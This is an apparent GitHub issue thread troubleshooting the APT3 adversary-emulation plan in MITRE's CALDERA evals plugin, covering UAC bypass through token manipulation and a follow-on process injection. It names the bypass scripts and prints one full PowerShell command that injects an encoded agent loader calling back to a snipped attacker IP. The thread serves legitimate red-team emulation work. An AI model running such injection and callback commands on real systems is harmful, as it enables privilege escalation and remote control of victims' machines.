APT3 CALDERA: Phase 9 - 3.A.1 Bypass User Account Control

[leegengyu]

First off, probably not the most appropriate place to post this question: I understand that this repository is targeted at APT29 (which is also pointed out at #24).

However,

1. the mitre-attack/evals_caldera repository that originally catered just for APT3 is no longer active,
2. I was informed at Plugin (Evals) - Pending Issues mitre/caldera#1843 that that repository was superseded by this one, and that
3. an email to [email protected] told me that "most, if not all issues are actually a result of CALDERA versioning" when I asked about where I should direct queries relating to APT3 portions of CALDERA to.

If someone can point me to the right channel/person, that would be great!

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This phase is not working out for me - I am getting a new Agent at the end of this particular phase, but it is one with medium-integrity only:

The output shows a successful one:

To temporarily get around this, I had swapped it out with Invoke-EnvBypass.ps1 - which gives me a high-integrity Agent at the end of this phase. However, with this new way of doing Phase 9, running the high-integrity Agent against 3.B-3.C did not work out as it always resulted in a timeout:

This was executed in a Windows v1803 machine (not v1903 like what was mentioned in mitre-attack/evals_caldera#1), with anti-virus disabled.

Anyway that I should debug this? Thank you!

[jcwilliamsATmitre]

Hey @leegengyu!

This channel works for questions regarding Evals methodology, sorry about the confusion.

So as you've seen this privilege escalation takes place in 2 parts, in 3.A a token of a high-integrity process is stolen. This results in a new high integrity callback, but not running with full permissions. In 3.B we complete the priv esc but injecting into another high-integrity process (which would only be possible after the first elevation in 3.A).

Based on what you shared, I would double check that you have high-integrity processes running on the victim (maybe try 2, one for the token theft then another for the injection). This might explain why Invoke-EnvBypass.ps1 initially works but hangs during injection.

Let me know if that works, good luck!

[leegengyu]

Hey @jcwilliamsATmitre, thank you for getting back to me so quickly.

I opened another high-integrity process (chrome.exe in this case) on the target machine, upon your suggestion of checking that there are high-integrity processes running on it.

After doing so, using either the original Invoke-BypassUACTokenManipulation.ps1 payload or the Invoke-EnvBypass.ps1 payload (which I had used as replacement previously) resulted in the same events taken place below:

At this point when running 3.B, there is a new high-integrity agent callback (bdgtrs):

Not too long later, the original high-integrity agent from 3.A (usrwbb) dies when 3.B is seen to be running for the second time:

Not too long later, the new high-integrity agent from 3.B (bdgtrs) dies as well:

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Leaving the following section below in this post for now - it was originally typed when using the Invoke-EnvBypass.ps1 payload, and without manually running a high-integrity process.

When 3.B was running, I noticed a 3rd powershell.exe appear for not too long, before it exited and was no longer seen:

Its full command line is powershell.exe -ExecutionPolicy Bypass -C "Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"Import-Module $env:APPDATA\update.ps1;update('http://[IP address snipped]:[port number snipped]')\"));Inject -PoshCode $pcode;"

After the 3rd powershell.exe disappeared, the timeout status could be seen from CALDERA (I edited my original post to show it).

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Hope you might be able to shed some light on what had gone wrong! Thank you so much.

[leegengyu]

I managed to solve the above issue of both the high-integrity Agent callbacks being dead after running 3.B for some time, by:

• Duplicating the update.ps1 found in the Payloads directory as update2.ps1, changing -group diy_eval at line 28 to -group diy_eval2.
• Changing the 3 references to update.ps1 in 3.B to update2.ps1.

The reason was that the new high-integrity Agent callback from a successful 3.B run previously had the same group label (diy_eval) as the high-integrity Agent callback from 3.A. As a result, the Operation ran the same step again using this new high-integrity Agent callback (which should not be the case), leading to its death.

Also, it should be noted that a successful execution of 3.B would require a manual check for a second high-integrity Agent, instead of the usual reliance on a green circle indicator (for success; which I had assumed would be the case for all correctly-executed steps). The circle would be showing the brown indicator (for collected) instead.

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Still, I am puzzled as to why there is a need for me to additionally manually open a process with high-integrity for 3.A to work, when there are 3 existing high-integrity processes (procexp64.exe - which I had manually opened, ctfmon.exe, and conhost.exe) that were running before all of my (previously failed) attempts at running 3.A.

These 3 high-integrity processes were also correctly identified in the output of 3.A. Somehow, they only resulted in medium-integrity Agent callbacks.

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This is deviating from the original issue, but could I ask if there is documentation lying anyway for the APT3 portions of the evals plugin please?

In its original repository at https://github.com/mitre-attack/evals_caldera, there is a link to "full documentation", which redirects to https://github.com/mitre/caldera/wiki. In that page, clicking on the sole link takes us to https://github.com/mitre/caldera/wiki/CALDERA. Clicking on the sole link inside that page takes us to the ReadTheDocs link at https://caldera.readthedocs.io/en/latest/. I have tried searching around, starting with the most obvious Plugin library section at https://caldera.readthedocs.io/en/latest/Plugin-library.html. However, I could not find any mention of the evals plugin around on that site.

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Thank you so much!

[leegengyu]

Hey @jcwilliamsATmitre, just a nudge on the above.

Hope to hear from you soon (at your convenience)! :) Thank you!

[jcwilliamsATmitre]

Hey @leegengyu!

I apologize for the delay. I am glad to see that you figured out the group label error! Regarding your question about high-integrity processes, when using Invoke-BypassUACTokenManipulation.ps1 we recommend manually opening a high-integrity process from the session of the victim to ensure the script has a process it will be able to access. As you said, depending on your host you may not need it though.

I will ask around to see if there's something else we can share, but https://github.com/mitre-attack/evals_caldera should be the authoritative documentation. Since that plugin was designed for an older version (2.3.2 I believe) it may not be included in the latest CALDERA documentation.

[leegengyu]

Hey @jcwilliamsATmitre!

Thank you for explaining about the recommendation for manually opening a high-integrity process.

Sure. If there's any way that we can have access to any archived documentation, I think that will be of great help. Thank you so much!